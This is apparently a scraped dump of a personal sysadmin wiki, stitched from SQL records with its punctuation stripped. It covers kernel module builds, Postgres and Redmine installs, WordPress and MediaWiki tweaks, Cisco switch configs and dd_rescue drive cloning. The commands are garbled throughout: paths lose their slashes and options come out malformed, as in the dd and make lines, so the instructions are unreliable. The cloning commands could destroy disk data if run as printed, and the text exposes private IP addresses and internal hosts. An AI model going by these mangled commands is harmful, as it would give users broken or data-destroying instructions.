localhost linux-2 6 23 9 # make m drivers usb serial building modules stage 2 modpost 2 modules root localhost linux-2 6 23 9 # pwd root kernel-dev linux-2 6 23 9 or another approach callandor usr src linux-2 6 25 18-0 2 # make -c lib modules uname -r build m drivers usb storage unusual_devs h or make -c lib modules uname -r build m pwd make-c lib modules uname-r build m pwd make -c lib modules uname -r build m pwd modules_install make-c lib modules uname-r build m pwd modules_install from 2b 255b_module_ 2bdrivers usb storage unusual_devs 255d 2berror 2b2 26hl 3den 26client 3dfirefox-a 26rls 3dorg mozilla en-us official 26hs 3dgpz 26sa 3dx kernel compilation doh kernel compilation doh kernel compilation doh in the course of compiling the kernel i have discovered several points through trial and error supplemented with google searches here are some things to be aware of that are common issues config file to use an existing config copy it to your kernel source directory and rename it config - note the dot if you name it config and run make oldconfig to use the old configuration file you in fact will not be using it alternatively you can open the proper config file inside menuconfig - see load an alternative configuration file at the end of the menu i highly recommend setting the local version in menuconfig general settings this will keep all kernel modules for your new kernel in their own directory in lib modules - this makes it very easy to keep things separated if you mess up your modules in your new kernel no worries - you will still have you old kernel with all it it\'s modules wifi lan etc all still working after running make i got confused on what was really happening when you installed the compiled kernel this article really help to clarify things once make completes you will have an uncompressed non-bootable image vmlinux in the top of your kernel source directory and a compressed bootable kernel bzimage in arch i386 boot bzimage when you run make install what actually happens is that the bootable bzimage file is simply copied over to boot and simply renamed vmlinuz you can see here that these two files are actually exactly the same root localhost linux-2 6 23 9 # md5sum boot vmlinuz 38465b48039bfaaf59b0ac49076ece79 boot vmlinuz root localhost linux-2 6 23 9 # md5sum home user downloads linux-2 6 23 9 arch i386 boot bzimage 38465b48039bfaaf59b0ac49076ece79 home user downloads linux-2 6 23 9 arch i386 boot bzimage root localhost linux-2 6 23 9 # md5sum vmlinux b4725b417ca7ab16a5cef61b7014cf3e vmlinux if you attempt to simply copy over the vmlinux and boot that it of course will not work you could manually move bzimage to boot and boot that notice the default kernel in linpus on the aspire one is in fact bzimage you can also tell if the file is an actual kernel by running file on it root localhost linux-2 6 23 9 # file boot vmlinuz boot vmlinuz linux kernel x86 boot executable ro-rootfs root_dev 0x801 swap_dev 0x1 normal vga root localhost linux-2 6 23 9 # file vmlinux vmlinux elf 32-bit lsb executable intel 80386 version 1 sysv statically linked not stripped you can also look at the install sh script in home user downloads linux-2 6 23 9 arch i386 boot install sh make the mct_u232 kernel module make the mct_u232 kernel module make the mct_u232 kernel module these are the full steps to compile and install the usb module mct_u232 used by many usb to serial converters 1012 unzip linux-2 6 23 9lw zip 1013 cd linux-2 6 23 9 1014 ls -lhat config 1015 cp boot config_080627 config 1016 ls -lhat config 1017 make oldconfig 1023 make m drivers usb serial #to make only the usb modules 1024 make modules #to make them all 1029 cp drivers usb serial mct_u232 ko lib modules 2 6 23 9lw kernel drivers usb serial 1030 depmod -a 1031 modprobe mct_u232 with the module now loaded run udevmonitor and then plug in your usb serial converter the final udev messages will list what device has been assigned to it such as dev ttyusb0 or similar dmesg will also show this '),(159,'drive performance tests',' iozone iozone iozone bonnie the main page is information on interpretation of results hdparm hdparm hdparm dd dd dd '),(332,'linux repositories',' rhel5 wget wget wget remi\'s '),(333,'vmware esxi',' power off unresponsive vm # vmware-cmd -l # vmware-cmd stop # vmware-cmd getstate # vmware-cmd stop hard still being feisty # ps -auxwww grep -i vmx # kill editing vmx files editing vmx files editing vmx files '),(334,'enterprisedb postgres',' when trying to install this in suse there are a few points where the installer hangs or has missing dependencies the main issues i found and their solutions follow these may well apply to other distros and some of the required libraries are not typically installed and the install procedure itself is less than optimum postgresplus-8 4 1-2-linux-x64 bin installer issues postgresplus-8 4 1-2-linux-x64 bin installer issues postgresplus-8 4 1-2-linux-x64 bin installer issues run the installer with postgresplus-8 4 1-2-linux-x64 bin --mode unattended --debuglevel 4 this will likely fail and result in su incorrect password solution to that 1 the postgres user account that gets created is locked out and this will cause subsequent scripts which run to fail with an incorrect password error to fix this modify etc shadow and change the to a - you should now be able to su postgres with no error after examining the log it also seems that initcluser sh was failing and from that log we get the following line to install opt postgresplus 8 4ss installer server initcluster sh postgres postgres postgres opt postgresplus 8 4ss opt postgresplus 8 4ss data 5433 default su incorrect password it fails for the same reason as covered above once the postgres user account is corrected it should install okay runstackbuilder sh issues runstackbuilder sh issues runstackbuilder sh issues once the above is installed you can run stackbuilder to install various modules and updates however this has a few libs missing opt postgresplus 8 4ss scripts runstackbuilder sh no graphical su sudo program could be found on your system this window must be kept open while stack builder is running opt postgresplus 8 4ss stackbuilder bin stackbuilder error while loading shared libraries libpng12 so 0 cannot open shared object file no such file or directory libpng12 so 0 can be resolved by running zypper install libpng12-devel the next missing library was opt postgresplus 8 4ss stackbuilder bin stackbuilder error while loading shared libraries libjpeg so 62 cannot open shared object file no such file or directory the missing libjpeg so 64 error can be resolved by getting and installing this rpm wget after which you will need to add the following line to etc ld so conf opt lsb lib64 assuming you are using the 64 bit of course and then update libraries with ldconfig you can ensure you have all the other needed libs installed with ldd opt postgresplus 8 4ss stackbuilder bin stackbuilder once you do run runstackbuilder sh again and it should start the gui pg_installdir error if you get this error opt postgresplus 8 4ss scripts runstackbuilder sh line 39 pg_installdir stackbuilder bin stackbuilder no such file or directory you need to re-run usr local src postgresplus-8 4 1-2-linux-x64 bin --mode unattended and then re-run opt postgresplus 8 4ss scripts runstackbuilder sh other links other links other links logs logs logs note the installer logs to tmp install-postgresql log '),(335,'university of tennessee',' potential degree programs potential degree programs potential degree programs innovative computing lab innovative computing lab innovative computing lab other links other links other links '),(336,'linux documentation sites',' '),(337,'redmine project management',' intro and installing i found this install guide to be very helpful a few other install links are given below but this was the primary one i used the not-so-very helpful official install guide is here a history of my install is here media redmine_installhistory tar gz note an alternative is to use the bitnami installer which should install the complete stack needed this might be a good idea considering the significant number of requirements you will have to sort through otherwise you can obtain the bitnami installer here and the readme for that installer is here this is they way to go however currently the ldap modules are not included but they will be in the next version redmine is written in ruby and has quite a few dependencies if installing on rhel 5 you will need to use a variety of repos to get the necessary versions you will need wget wget wget wget repos the repos i needed were root esdss-collab drupal # ls etc yum repos d epel repo ius-dev repo ius-testing repo remi repo rpmforge repo ruby repo epel-testing repo ius repo mirrors-rpmforge rhel-debuginfo repo rpmforge-testing repo the ruby repo was actually centos-testing and was needed for certain ruby packages root esdss-collab drupal # cat etc yum repos d ruby repo ruby name ruby baseurl gpgcheck 0 enabled 0 ldap ldap ldap setup guide is http www redmine org wiki 1 redmineldap here configure ldap using the below settings you need to have the apache ldap modules loaded host ldapx1 ornl gov port 636 ldaps yes base dn on-the-fly user creation yes starting stopping redmine starting stopping redmine starting stopping redmine redmine can be run and managed in a variety of ways through the webrick ruby driven web server the default in our case using apache with the passenger module which allows apache to run rails apps see more http www redmine org wiki 1 howto_configure_apache_to_run_redmine here using the mongrel framework production server to restart redmine yes it it\'s really this dumb root edss-collab redmine # pgrep ruby 3889 root edss-collab redmine # kill -9 3889 root edss-collab redmine # pgrep ruby now cd to the app directory e g opt redmine root edss-collab redmine # ruby script server -e production -d booting webrick rails 2 3 5 application starting on root edss-collab redmine # root edss-collab redmine # etc init d httpd restart stopping httpd ok starting httpd ok you may also have to restart etc init d thin as well prior to re-launching webrick also you might have to do the above more than once dev server for the dev instance i created a wrapper script to start all the services opt rubystack-2 1-0 start_redmine sh init scripts init scripts init scripts for mongrel a sample init script can be found http rubyforge org forum forum php thread_id 27348&forum_id 7505 here email config email config email config basic setup info is http www redmine org wiki redmine emailconfiguration here modify the email yml file to fit your needs note the config by default has two uncommented entries for the production server which can cause an ambiguous error when you launch the app if you get this error load\' syntax error on line 68 col 0 production \' then verify your email yml as per this http www redmine org boards 2 topics 13923 bug note2 on debian the email yml must be in etc redmine external smtp sending mail to ornl smtp server the config file needs only # outgoing email settings production delivery_method smtp smtp_settings address smtp ornl gov port 25 domain ornl gov authentication login user_name password development delivery_method smtp smtp_settings address smtp ornl gov port 25 domain ornl gov authentication login user_name password sendmail option the option to use sendmail on the localhost is the easiest however this will only work for internal email address the proper config is to direct mail to the central lab smtp facility as above newer build support the async_sendmail and async_stmp options see http redmineblog com articles asynchronous-email-delivery here herefor more detail the simplest config is therefor # sendmail command # production delivery_method async_sendmail locale info locale info locale info locale definitions and defined labels for objects etc can be found in opt redmine config locales en yml subversion subversion subversion the steps to set up the repo are trivial however there are some things to note authentication this requires only a user name and pw to connect to the repo these credential are stored in the redmine database in plain text we could simple add a local htpasswd user for this purpose so that a ucams login is not used basically redmine contacts the repo and checks out the contents then renders it locally ssl issues note there is an issue with remine accepting unverified ssl certs which is described at here and here we can implement the fix to have it trust certificates so we can connect to all our svn server synchronization new commits show up only when you browse though we can run a cron to periodically update though i don\'t even think this is needed as when you browse actually causes the refresh findings the presentation is very nice though it is rendered fairly slowly the statistics button presents some nice graphs the need to store the password in redmine is not that significant given a local read only account could be created given the above i recommend we create local svn users for the repos we want to use and configure it on desired projects we can then let guys test drive it more websvn is faster but the integration this offers is nice also see plugins plugins plugins there is a list of official plugins here general info on installing a plugin is here installing a plugin bitnami ruby stack version opt rubystack-2 1-0 ruby bin ruby script plugin install --force rake db migrate_plugins rails_env production if migration required uninstalling plugins see this post but basically rake db migrate_plugins plugin name_of_plugin version 0 rails_env production email issue submission script auto due date notice plugin from the developer alvia 1 0 root cd opt redmine && rake redmine send_reminders_all days 1 rails_env production on windows you can use sheduled tasks to do the same there are some things you can set up days 1 means that it sends reminders about issues that are already overdue and that will be overdue in one day tracker 5 means that it sends reminder only when tracker of the issue id is 5 and there is also project test or project 5 to send reminders only on this one project user theme changer plugin example of installing this type of plugin hg clone rake db migrate_plugins rails_env production restart redmine google docs plugin to do list prioritizor mail notifications plugin this plugin provides more granularity on the types on email notices received account management account management account management users can not be deleted through the gui once created but can be locked out however http www imminentweb com technologies install-redmine-centos this site shows a method using the console account management redmine doesn\'t have a way to delete spam accounts to do so we can use the script console export rails_env production script console u user find 13 #change the 13 by the id of the user you want to delete u destroy assuming you want to delete user ids 13 and 20 type script console production 13 20 each u user find u destroy troubleshooting troubleshooting troubleshooting logging opt redmine log production log parent task due date this is set by the first sub task once set the parent due date can not be changed this is reported as a defect and also this email notifications the main log at var production log also logs when notices are sent if an email address is invalid the email will not be sent to any users it will be logged as the following error occured while sending email notification 550 5 1 1 unknown or illegal user santhanavannas ornl gov when an action occurs the log records a complete record of it including the email transaction console troubleshooting this post has an example of using the ruby console to query and update settings in the database references references references helpful sites other install guides '),(338,'redmine installhistory tar gz',' '),(160,'r8101-1 009 00 tar bz2',' linux driver for realtek 810x wifi cards e g 8101e and i believe the 8169 also '),(161,'file carving',' data recovery and file carving tools and general information foremost and scalpel scalpel is based on foremost both are file carving tools here is an interesting paper on file carving methods and their effectiveness eindhoven university of technology department of mathematics and computer science masteru8e28099s thesis measuring and improving the quality of file carving methods by s j j kloet media kloet2007thesis pdf '),(162,'kloet2007thesis pdf',' '),(163,'linux-logo',' small tux logo '),(164,'intel-logo',' small intel logo '),(165,'intel-logo',' '),(166,'linux-logo',' '),(167,'mediawiki configuration',' extensions extensions extensions how to add customer functions in a wiki page in line free collection of mediawiki extension how to add a digg badge to a wiki page mime type upload identification mime type upload identification mime type upload identification issue with uploaded png files being incorrectly identified as text plain mime type i added these two declarations to localsettings php wgmimedetectorcommand file -bi ; wgsvgconverter imagemagick ; and added png as a allowed upload file type also i created a png type in vim etc httpd conf magic though i believe mime_magic is disabled in my php so this was not really needed '),(168,'wordpress configuration',' what the hell version of wordpress am i running anyway cat wp-includes version php whitelisting ips in wp-admin create an htaccess in wp-admin with authuserfile dev null authgroupfile dev null authname u8e2809caccess controlu8e2809d authtype basic order deny allow deny from all # whitelist home ip address allow from 64 233 169 99 # whitelist work ip address allow from 69 147 114 210 allow from 199 239 136 200 # ip while in kentucky; delete when back allow from 128 163 2 27 this is from css edits and floating images having trouble getting text to flow around your images http wordpress org support topic 189480 captcha above has a nice transparent captcha wordpress plugin '),(169,'zfs last pdf',' zfs the last word in file systems '),(170,'xvmserver sun virtualization',' information so where the hell did xvm go well it basically was integrated into the opensolaris code base and is no longer available as an appliance the gui is now part of ops center but you can still use xvm to run xen machines in opensolaris read this for what happened and here are guides on installing xvm in opensolaris other general refs dead - was the early access site some good videos and overviews great wiki but for ops not xvm itself documentation documentation documentation installing xvm - installing the hypervisor and setting up domains download download download this is intended to be installed on top of opensolaris so get that cd first and install it the proceed with installing xvm an appliance version will be available down the road get the source from extract the tarball run src installer install sh documentation documentation documentation i have not found a how to and specific install directions for xvm however this document goes over some of the basics on creating vms and the various management tools etc '),(171,'building multilayer switched networks',' spanning tree set up trunking interface range fastethernet 0 1 - 4 switchport trunk encap dot1q switchport mode trunk configure fast etherchannel dlswitch config #interface range fastethernet 0 1 - 2 dlswitch config-if-range #channel-group 1 mode desirable creating a port-channel interface port-channel 1 sh etherchannel summary brief sh pagp neighbor set up vlans interface range fastethernet 0 1 0 3 0 1 - 3 swithport mode access switchport access vlan 10 verifying trunking sh interfaces trunk sh vtp status sh vtp counter note 2050 2050\'s use 802 1q by default for trunking - you don\'t need to set the protocol verifying spanning tree sh spanning-tree wireless qos and cos wireless qos and cos wireless qos and cos setting class of service parameters on selected interfaces for qos classification swithc config vtp domain corp swithc config vtp mode server switch config interface range fastethernet 0 1 -6 swith config interface-range switchport access vlan 10 swith config interface-range mls qos trust cos mls qos cos 0 set to best effort 3 for video swith config interface-range mls qos cos override enforce a cos level swith config show mls qos interface you can have mls qos cos overide and mls qos trust cos committed access rate - car interface fastethernet0 0 ip address 192 168 1 1 255 255 255 0 rate-limit input access-group 100 32000 3200 3200 conform-action set-dscp-transmit 8 exceed-action set-dscp-transmit 0 singapore#sh interfaces rate-limit fastethernet0 0 input matches access-group 100 params 32000 bps 3200 limit 3200 extended limit conformed 0 packets 0 bytes; action set-dscp-transmit 8 exceeded 0 packets 0 bytes; action set-dscp-transmit 0 last packet 3248012ms ago current burst 0 bytes last cleared 00 02 34 ago conformed 0 bps exceeded 0 bps police the action at the wan link to allow traffic with dscp 8 to transmit and drop dscp 0 traffic interface serial0 0 ip address 192 168 2 1 255 255 255 0 rate-limit output dscp 0 16000 1600 2000 conform-action transmit exceed-action drop clock rate 128000 voip voip voip wred weighted random early detection enable on the interface with interface# random-detect #show inter serial 0 0 look at queuing strategy to verify setting #show queuing random-detect #random-detect exponential-weighting-constant changes the integer value shown as exponential-weight-constant in the show queuing random-detect cbwfq class based weighted fair queuing define protocols and weights to use #class-map voice-class #match ip dscp 40 #show class-map #policy-map wan-policy #class class-default #fair-queue #class voice-class #bandwidth percent 40 #sh policy map now - apply the policy to the interface interface#no fair-queue interface#service-policy output wan-policy #sh policy map #sh policy-map interface serial 0 0 ouput layer 2 security layer 2 security layer 2 security dnsiff - program for mac spoofing etc final configs final configs final configs core spanning-tree mode pvst spanning-tree extend system-id spanning-tree vlan 100 priority 4096 interface port-channel1 switchport trunk encapsulation dot1q switchport trunk native vlan 100 switchport mode trunk interface port-channel2 switchport trunk encapsulation dot1q switchport trunk native vlan 100 switchport mode trunk interface fastethernet0 5 switchport trunk encapsulation dot1q switchport trunk native vlan 100 switchport mode trunk channel-group 1 mode desirable interface fastethernet0 6 switchport trunk encapsulation dot1q switchport trunk native vlan 100 switchport mode trunk channel-group 1 mode desirable interface fastethernet0 7 switchport trunk native vlan 100 switchport mode dynamic desirable interface fastethernet0 8 switchport trunk encapsulation dot1q switchport trunk native vlan 100 switchport mode trunk channel-group 2 mode desirable interface fastethernet0 9 switchport trunk encapsulation dot1q switchport trunk native vlan 100 switchport mode trunk channel-group 2 mode desirable interface fastethernet0 13 no switchport ip address 192 168 1 2 255 255 255 0 interface fastethernet0 14 switchport access vlan 10 switchport mode access interface vlan1 no ip address shutdown interface vlan10 ip address 10 0 10 1 255 255 255 0 standby preempt standby 1 ip 10 0 10 253 standby 10 track fastethernet0 13 50 interface vlan20 ip address 10 0 20 1 255 255 255 0 standby preempt standby 2 ip 10 0 20 253 standby 20 track fastethernet0 13 50 interface vlan100 ip address 10 0 100 100 255 255 255 0 standby preempt standby 100 ip 10 0 100 253 ip classless ip route 0 0 0 0 0 0 0 0 192 168 1 1 ip http server ip http secure-server ip access-list extended vlan10allowed permit tcp 10 0 10 16 0 0 0 15 host 10 0 10 55 eq www ip access-list extended vlan10blocked permit tcp any host 10 0 10 55 eq www permit tcp 10 0 10 0 0 0 0 240 host 10 0 10 55 eq www ip access-list extended vlan10default permit ip any any backup interface fastethernet0 0 10 encapsulation dot1q 10 ip address 10 0 10 254 255 255 255 0 standby preempt standby 1 ip 10 0 10 253 interface fastethernet0 0 20 encapsulation dot1q 20 ip address 10 0 20 254 255 255 255 0 standby 2 ip 10 0 20 253 interface fastethernet0 0 100 encapsulation dot1q 100 ip address 10 0 100 254 255 255 255 0 standby 100 ip 10 0 100 253 standby 100 preempt interface serial0 0 ip address 192 168 0 2 255 255 255 0 no fair-queue ip route 0 0 0 0 0 0 0 0 192 168 0 1 isp interface loopback0 ip address 1 1 1 1 255 255 255 0 interface fastethernet0 0 ip address 192 168 1 1 255 255 255 0 duplex auto speed auto interface serial0 0 ip address 192 168 0 1 255 255 255 0 clock rate 56000 no fair-queue interface fastethernet0 1 no ip address shutdown duplex auto speed auto interface serial0 1 no ip address shutdown ip http server no ip http secure-server ip classless ip route 0 0 0 0 0 0 0 0 192 168 1 2 ip route 0 0 0 0 0 0 0 0 192 168 0 2 100 access1 interface vlan100 ip address 10 0 100 2 255 255 255 0 no ip route-cache spanning-tree mode pvst no spanning-tree optimize bpdu transmission spanning-tree extend system-id interface port-channel1 switchport trunk native vlan 100 switchport mode trunk flowcontrol send off interface port-channel3 switchport trunk native vlan 100 switchport mode trunk flowcontrol send off interface fastethernet0 1 switchport access vlan 10 spanning-tree portfast interface fastethernet0 2 spanning-tree portfast interface fastethernet0 3 switchport trunk native vlan 100 switchport mode trunk channel-group 1 mode desirable spanning-tree portfast interface fastethernet0 4 switchport trunk native vlan 100 switchport mode trunk channel-group 1 mode desirable spanning-tree portfast interface fastethernet0 5 switchport trunk native vlan 100 switchport mode trunk channel-group 3 mode desirable spanning-tree portfast interface fastethernet0 6 switchport trunk native vlan 100 switchport mode trunk channel-group 3 mode desirable spanning-tree portfast interface fastethernet0 7 switchport trunk native vlan 100 switchport mode trunk spanning-tree portfast access2 interface vlan100 ip address 10 0 100 3 255 255 255 0 no ip route-cache spanning-tree mode pvst no spanning-tree optimize bpdu transmission spanning-tree extend system-id interface port-channel2 switchport trunk native vlan 100 switchport mode trunk flowcontrol send off interface port-channel3 switchport trunk native vlan 100 switchport mode trunk flowcontrol send off interface fastethernet0 1 spanning-tree portfast interface fastethernet0 2 switchport access vlan 20 spanning-tree portfast interface fastethernet0 3 spanning-tree portfast interface fastethernet0 4 switchport trunk native vlan 100 switchport mode trunk channel-group 2 mode desirable spanning-tree portfast interface fastethernet0 5 switchport trunk native vlan 100 switchport mode trunk channel-group 3 mode desirable spanning-tree portfast interface fastethernet0 6 switchport trunk native vlan 100 switchport mode trunk channel-group 3 mode desirable spanning-tree portfast interface fastethernet0 7 switchport trunk native vlan 100 switchport mode trunk channel-group 2 mode desirable spanning-tree portfast '),(172,'dreamweaver tips',' css decedent classes css decedent classes css decedent classes you can create a css rule to apply to a specific selector only in specific instances for example using the selector tr altrow td creates a rule where any td elements inside of a tr altrow element will be effected by this rule '),(173,'tomcat configuration',' usr local apache-tomcat-5 5 27 conf tomcat-users xml #edited to add user for web gui access on usr local apache-tomcat-5 5 27 conf web xml #general tomcat config var www html #apache doc root on this server #web gui - username admin password whatever usr local tomcat webapps #where the tomcat apps are you can put html and jsp items directly in the tomcat root directory and they will be displayed in a browser each app has a deployment descriptor file located within its own app directory structure such as root vps tomcat # less webapps store web-inf web xml references '),(174,'search engine optimization',' intro intro intro i have decided to look into techniques to increase traffic to my site through various seo methods recently i started using firestats and discovered i have a fair amount of traffic on my blog and wiki and so decided to integrate some tools like digg buttons and badges and social bookmarking tools etc this is a bit tricky especially for mediawiki so here are my notes on the matter as i play with more seo tools i will add them here if you would like to see an example of the addthis button and digg badges on my wordpress blog you can do so here thanks for dropping by and good luck getting more traffic and using these tools please note this wiki is for my own notes and is closed for editing addthis widget - wordpress addthis widget - wordpress addthis widget - wordpress this widget will add a nice drop down widget at the end of each post the button will look like this on your blog but the drop down menu does not actually work on this version - see the one at the bottom of this page for a drop down example #widget addthis addthis_pub \'lewstherin\' getting the addthis widget working in wordpress is substantially easier than in mediawiki it is available as a simple plugin for wordpress requires very little configuration here is the general outline of steps download the addthis wordpress plugin from follow instruction there to upload to your wordpress plugin directory add you addthis user name to var addthis_username in the addthis_social_widget_drop php file digg badge - wordpress digg badge - wordpress digg badge - wordpress diggbadge left now that you have addthis and people can digg your posts wouldn\'t it be nice to have a digg badge displayed on any posts that get dugg there is another wordpress plugin for that too it will only show badges for articles that get dugg so you don\'t have badges with 0 diggs on them who wants that it works quite well download the plugin from here unzip and upload to your wordpress plugin directory modify both the index php and single php files in whatever theme s you are using note that you must do this or the digg badge will not show up in your posts if someone diggs it just add php digg_this_button ; to the above two files placed within the loop - for example my themes index php and single php contain php if have_posts php while have_posts the_post ; php digg_this_button ; now when a visitor diggs the article using the addthis widget at the bottom of your post etc a digg badge will now appear at the top of the post dig a post of your own and verify the badge shows up correctly now write good content and see if you get dugg note a lot of people apparently have trouble installing this it appears additional installation instructions for this can be found here also in order for the link to work someone you or otherwise must click on the link to your post at digg com in order to send a referring link also be patient - it may take a few hours for the badge to show up though why that is the case is a mystery to me - the referring link should trigger the badge to show up right away - or so i would think in practice be patient digg badge - mediawiki digg badge - mediawiki digg badge - mediawiki there is a great digg extension for mediawiki available here installation is very similar to the steps above for the wordpress one there are only a few steps to integrate this on your wiki the instructions are very clear and you can get the source code for the extension at the link above simply download it to your extensions directory you can also get the code here edit digg php for the links you want displayed in addition to the digg badge add this include line to your localsettings php include \'extensions digg php\' ; you can place the badge anywhere in the body of a page and float left or right a sample is at the top of this page or left setting up widgets in mediawiki setting up widgets in mediawiki setting up widgets in mediawiki first you have to enable widgets for mediawiki then install the addthis or other widget enable mediawiki widgets following directions at follow all directions closely you will need to ensure the extensions widgets compiled_templates directory is writable by the web server and you will likely need to add the following line to you localsettings php wggrouppermissions \'sysop\' \'editwidgets true; if a widget does not show up you may need to purge the page add action purge to the url to refresh it from the mediawiki cache addthis widget - mediawiki addthis widget - mediawiki addthis widget - mediawiki update it looks like a much better mediawiki widget is social_bookmarking rather than this addthis widget they both use the addthis button - however i could not get the addthis widget to work correctly the mouseover did not work and there was no pop up window either - essentially it did nothing the addthis widget requires setting up widgets in mediwiki however i believe the social bookmarking extension does not and it is very simple to use the next section talks specifically about the mediawiki social_bookmarking extension - both are options adding the addthis widget - create a page named widget addthis then copy the entire source code from this page to it now use the block of source code shown on to add the addthis button to your wikipage here are two example of calling the addthis widget short and sweet #widget addthis addthis_pub \'your_id\' #widget addthis addthis_pub \'lewstherin\' full options #widget addthis page_name pagename page_url fullurl pagename account_id your_id logo_url logo_background ffffff logo_color ffffff brand my wiki options favorites email digg delicious more offset_top 0 offset_left 0 #widget addthis page_name pagename page_url fullurl pagename account_id lewstherin logo_url logo_background ffffff logo_color ffffff brand my wiki options favorites email digg delicious more offset_top 0 offset_left 0 social bookmarking extension - mediawiki social bookmarking extension - mediawiki social bookmarking extension - mediawiki installing this is very straight forward this extension will place two objects at the end of every page - see them at the bottom of this page one is an addthis button with a working mouseover drop down which is nice the other is a socialmarker com button if you only want one you can edit the code to eliminate the other easily it would be better in my opinion if the buttons were at the top of every page rather than the bottom but i\'ve yet to figure out how to make that happen - if i do so i will update the fix installation instructions can be found here and consists of just three steps download the extension code cut and paste it put it into bookmark php in your extensions directory include it in localsettings php with the line require_once extensions bookmark php ; note that if you want to use your addthis account to track the bookmarks with just change this line in bookmark php to include your addthis com account name such as out- mbodytext \'addthis_pub \'yourname \';\'; use this format exactly as is including all \' and characters etc widget troubleshooting widget troubleshooting widget troubleshooting are you running an ancient version of mediawiki that does not support widgets check your special version page and special extensiondistributor parserfunctions and see this will also show extension handler information etc you may need to add the parserfunctions extension from google group for widgets standalone addthis button standalone addthis button standalone addthis button these notes are for my own addthis button but you can see the code for how it works to get code for a standalone addthis button you can use on any web page you like and create an account to track bookmarks created with it just goto to use the addthis button on webpages use either of the following button only -- addthis button begin -- var addthis_pub \'lewstherin\'; -- addthis button end -- drop down button -- addthis button begin -- addthis_pub \'lewstherin\'; -- addthis button end -- the below snipit comes from the mediawiki page on widgets for addthis -- addthis button begin -- -- addthis button end -- -- addthis rollover begin -- addthis_pub \'lewstherin\'; addthis_logo ; addthis_logo_color \'ffffff\'; addthis_logo_background \'ffffff\'; addthis_brand \'my wiki\'; addthis_options \'favorites email digg delicious more\'; addthis_offset_top \'0\'; addthis_offset_left \'0\'; -- addthis rollover end -- '),(175,'widget addthis',' #widget addthis page_name pagename page_url fullurl pagename account_id lewstherin logo_url logo_background ffffff logo_color ffffff brand my wiki options favorites email digg delicious more offset_top 0 offset_left 0 '),(176,'addthis',' this widget allows you to add the addthis social-bookmarking button to your wiki page it was created by yaron koren using this widget using this widget using this widget for information on how to use this widget see widget description page on mediawikiwidgets org copy to your site copy to your site copy to your site to use this widget on your site just install mediawiki widgets extension and copy fullurl fullpagename action edit full source code of this page to your wiki as fullpagename article -- addthis button begin -- \' \' -- page_name escape \'quotes -- \' onmouseout addthis_close -- addthis button end -- -- addthis rollover begin -- addthis_pub \' -- account_id escape \'quotes -- \'; addthis_logo \' -- logo_url escape \'quotes -- \'; addthis_logo_color \' -- logo_color escape \'quotes -- \'; addthis_logo_background \' -- logo_background escape \'quotes -- \'; addthis_brand \' -- brand escape \'quotes -- \'; addthis_options \' -- options escape \'quotes -- \'; addthis_offset_top \' -- offset_top escape \'quotes -- \'; addthis_offset_left \' -- offset_left escape \'quotes -- \'; -- addthis rollover end -- '),(177,'diggbadge',' '),(178,'common js',' '),(179,'dd rescue',' dj wrote this but then pete changed it __toc__ saving drives saving drives saving drives it seems like the last few days there have been a lot of customers with failed hard drives one customer in particular has no backups and the drive is having pretty major seek errors and will not even show in an fdisk dd_rescue software is often able to recover most data to a clean drive we regularly use it and have great success with it we used to charge 50 to image a drive but as it it\'s a hardware failure and as it actually saves us time to clone it compared to all the work involved in reinstalling migrating importing and troubleshooting restore we now offer it free of charge in the case of a dead drive migrating to a larger drive using other tools is still a 50 charge note don\'t be lead astray there are three similar commands dd ddrescue and dd_rescue - just use dd_rescue it is the best you can use dd_rescue by booting ubuntu enable the universe and multiverse repositories in etc apt sources list apt-get update apt-get install ddrescue you can run ddrescue like so dd_rescue dev sdb dev sda where sdb is the bad drive you can also specify the -r option to read in reverse so you can see how much is left if using dd you can use conv noerror to skip errors if the occur and also specify block size with bs dd if dev sda of dev sdb -r bs 4096 conv notrunc noerror specifying the block size can make it run faster default is 512 for more options please note when cloning one drive to another you must be alert and ensure the destination drive is truly equal to or larger than the source drive that sounds obvious i know but seriously - not all drives of the same capacity have the same geometry and exact same size for example the dozens of rma replacement western digital drives we have recently gotten in are not the same size as the original 160gb drives they are slightly smaller if you use a smaller drive dd will complete but then you will start seeing drive errors such as attempt to access beyond end of device or lost page write due to io error on on sda or other io or fsck inconsistencies how to match geometry how to match geometry how to match geometry well if it it\'s a square hole don\'t use a round peg look at the drive geometry using hdparm like this archimedes anduril hdparm -i dev sda dev sda ata device with non-removable media model number wdc wd1200bb-00daa1 serial number wd-wmacm1072106 firmware revision 02 13b02 standards supported 6 5 4 likely used 6 configuration logical max current cylinders 16383 16383 ---- heads 16 16 these are the chs values sectors track 63 63 ---- -- chs current addressable sectors 16514064 ---- lba user addressable sectors 234441648 you have to ensure these match too lba48 user addressable sectors 234441648 --- device size with m 1024 1024 114473 mbytes device size with m 1000 1000 120034 mbytes 120 gb notice the chs lba and 48 bit lba values above the destination drive must have lba values exactly equal to or greater than the source two 160gb drives may have identical chs values but different lba values and will therefor be different sizes but hdparm will tell you what you need to know and knowing is half the battle other options other options other options one limitation of dd_rescue is you can\'t dynamically expand the partitions if going to a larger drive if you are taking the time to clone a drive it might be nice to go from a 160gb to a 500gb etc dd just does a block wise copy though so the partition tables etc are identical if the drive is mostly healthy you can use acronis drive imaging gparted or clonezilla which have options for dynamically expanding the partitions acronis actually works quite well for this all things dd_rescue and ddrescue all things dd_rescue and ddrescue all things dd_rescue and ddrescue dd_rescue addition to printing out status messages will automatically adjust the block size based on errors encountered dd will just use whatever static bs argument that that\'s funny you provide also dd_rescue defaults to force reading through bad sectors dd does not thus dd_rescue is a bit better at cloning failing drives with dd a better syntax is #dd if dev sda of dev sdb -r bs 4096 conv notrunc noerror however the above is basically the default used in dd_rescue note that dd_resceue is slightly different and does not use if and of but rather referenced block devices directly #dd_rescue dev sda dev sdb there is no confirmation - think before you pull the trigger note there are two different programs with similar names ddrescue and dd_rescue in cases where one fails the other may succeed info pages are wonderful things - they have examples and all kinds of good stuff both versions are available in rip note you can make multiple recover passes to an image file and then dd the image file to a drive etc fancy also this is a great time to mention again that when cloning drive it is essential to examine not only the chs drive values but also the lba values two 120gb or 500gb drives are not necessarily the same size even if from the same manufacturer - they change in different production lines the way to determine this for sure is to follow the steps from oh and don t try to fix a failing disk with fsck the best description i ever read of fsck was it a barbarian - it destroys what it does not understand if you see bad sectors in smartctl -a never run an fsck clone first and repair the fs on the clone moral always use dd_rescue and always verify geometry when cloning if you need read the man and info pages on ddrescue and dd_rescue for more options - they are capable of much more than block device to device operations ddrescue log files ddrescue log files ddrescue log files always use a log file when running ddrescue reason if the operation is interrupted you have to start all over which often may greatly extend the time to recover a drive a drive using log files with ddrescue not dd_rescue allows you to resume where you left off yep - nifty to do this in rip rescuecd simply use sshfs to mount a directory from another server and direct the log to be saved there mounting 